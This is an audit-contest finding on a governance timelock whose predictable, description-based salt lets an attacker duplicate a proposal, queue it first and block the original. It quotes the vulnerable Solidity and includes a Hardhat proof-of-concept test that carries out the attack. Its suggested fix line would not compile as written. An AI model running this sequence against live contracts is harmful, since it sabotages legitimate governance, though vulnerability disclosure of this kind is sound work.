Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

Proposal Front-Running via Predictable Salt in `TimelockController::scheduleBatch`

Summary

The proposal execution mechanism is vulnerable to front-running, where an attacker can duplicate and execute an identical proposal first, causing the original proposal to revert. This occurs because the proposal salt is generated solely from the description, making proposal IDs predictable.

Affected Code: TimelockController::scheduleBatch

Vulnerability Details

In the scheduleBatch function, the proposal ID is created using hashOperationBatch, which incorporates the hash of the proposal description as the salt. Since the description is public on-chain and logged in events, an attacker can replicate the proposal, secure votes, and execute it first, causing the legitimate proposal to fail due to a hash collision. Additionally, after executing their proposal first, the attacker can cancel their own proposal, effectively front-running and blocking the user's proposal.

Affected Function

function scheduleBatch(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata calldatas,
bytes32 predecessor,
bytes32 salt,
uint256 delay
) external override onlyRole(PROPOSER_ROLE) returns (bytes32) {
// Input validation: check if the number of targets, values, and calldatas are the same
if (targets.length == 0 || targets.length != values.length || targets.length != calldatas.length) {
revert InvalidTargetCount();
}
// Check if the delay is within the allowed range
if (delay < _minDelay || delay > _maxDelay) {
revert InvalidDelay(delay);
}
// Check predecessor if specified
if (predecessor != bytes32(0)) {
if (!isOperationDone(predecessor) && !isOperationPending(predecessor)) {
revert PredecessorNotExecuted(predecessor);
}
}
// 🚨 Issue: Predictable Proposal ID
// The proposal ID is generated using a hash that includes `salt`, which is only based on the description.
// Since descriptions are public, an attacker can replicate and front-run a proposal.
bytes32 id = hashOperationBatch(targets, values, calldatas, predecessor, salt);
if (_operations[id].timestamp != 0) revert OperationAlreadyScheduled(id);
uint256 timestamp = block.timestamp + delay;
_operations[id] = Operation({
timestamp: timestamp.toUint64(),
executed: false
});
emit OperationScheduled(id, targets, values, calldatas, predecessor, salt, delay);
return id;
}

Proof of Concept (PoC)

The test below demonstrates the exploit. Paste the following code into the Governance.test.js file.

describe("Front-running Attacks", () => {
it.only("should demonstrate proposal front-running vulnerability", async () => {
// Setup voting power for attacker and user
await veToken.mock_setInitialVotingPower(
await user1.getAddress(), // legitimate user
ethers.parseEther("2000000")
);
await veToken.mock_setInitialVotingPower(
await user2.getAddress(), // attacker
ethers.parseEther("2000000")
);
await veToken.mock_setInitialVotingPower(
await users[0].getAddress(), // user3 - supporting voter
ethers.parseEther("2000000")
);
const startTime = await moveToNextTimeframe();
// Create identical proposals from user and attacker
const targets = [await testTarget.getAddress()];
const values = [0];
const calldatas = [testTarget.interface.encodeFunctionData("setValue", [42])];
const description = "Set value to 42";
// User creates their proposal first
const userTx = await governance.connect(user1).propose(
targets,
values,
calldatas,
description,
0
);
const userReceipt = await userTx.wait();
const userEvent = userReceipt.logs.find(
log => governance.interface.parseLog(log)?.name === 'ProposalCreated'
);
const userProposalId = userEvent.args.proposalId;
// Attacker sees this and creates the same proposal
const attackerTx = await governance.connect(user2).propose(
targets,
values,
calldatas,
description,
0
);
const attackerReceipt = await attackerTx.wait();
const attackerEvent = attackerReceipt.logs.find(
log => governance.interface.parseLog(log)?.name === 'ProposalCreated'
);
const attackerProposalId = attackerEvent.args.proposalId;
// Wait for voting delay
await time.increase(VOTING_DELAY);
await network.provider.send("evm_mine");
// Both proposals should be active
expect(await governance.state(userProposalId)).to.equal(ProposalState.Active);
expect(await governance.state(attackerProposalId)).to.equal(ProposalState.Active);
// Cast votes on both proposals
await governance.connect(user1).castVote(userProposalId, true);
await governance.connect(user2).castVote(attackerProposalId, true);
await governance.connect(users[0]).castVote(userProposalId, true);
await governance.connect(users[0]).castVote(attackerProposalId, true);
// Wait for voting period to end
await time.increaseTo(startTime + VOTING_DELAY + VOTING_PERIOD);
await network.provider.send("evm_mine");
// Both proposals should be in Succeeded state
expect(await governance.state(userProposalId)).to.equal(ProposalState.Succeeded);
expect(await governance.state(attackerProposalId)).to.equal(ProposalState.Succeeded);
// Attacker queues their proposal first
await governance.connect(user2).execute(attackerProposalId);
expect(await governance.state(attackerProposalId)).to.equal(ProposalState.Queued);
// User's attempt to queue should revert due to duplicate actions
await expect(governance.connect(user1).execute(userProposalId))
.to.be.reverted;
// Wait for timelock delay
await time.increase(await timelock.getMinDelay());
await network.provider.send("evm_mine");
// Attacker can now cancel the user's proposal if they want
await governance.connect(user2).cancel(attackerProposalId);
expect(await governance.state(attackerProposalId)).to.equal(ProposalState.Canceled);
});
});

Impact

An attacker can front-run, execute, and then cancel their identical proposal, effectively blocking the legitimate user's proposal and compromising governance integrity.

Tools Used

  • Hardhat, Manual Review

Recommendations

  • Use the proposal ID or proposer address in the salt for uniqueness(all passed dynamically).

descriptionHash: keccak256(bytes(description), msg.sender),
Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Governance generates non-unique timelock operation IDs for different proposals with identical parameters, allowing timelock bypass and proposal DoS attacks

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Governance generates non-unique timelock operation IDs for different proposals with identical parameters, allowing timelock bypass and proposal DoS attacks

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.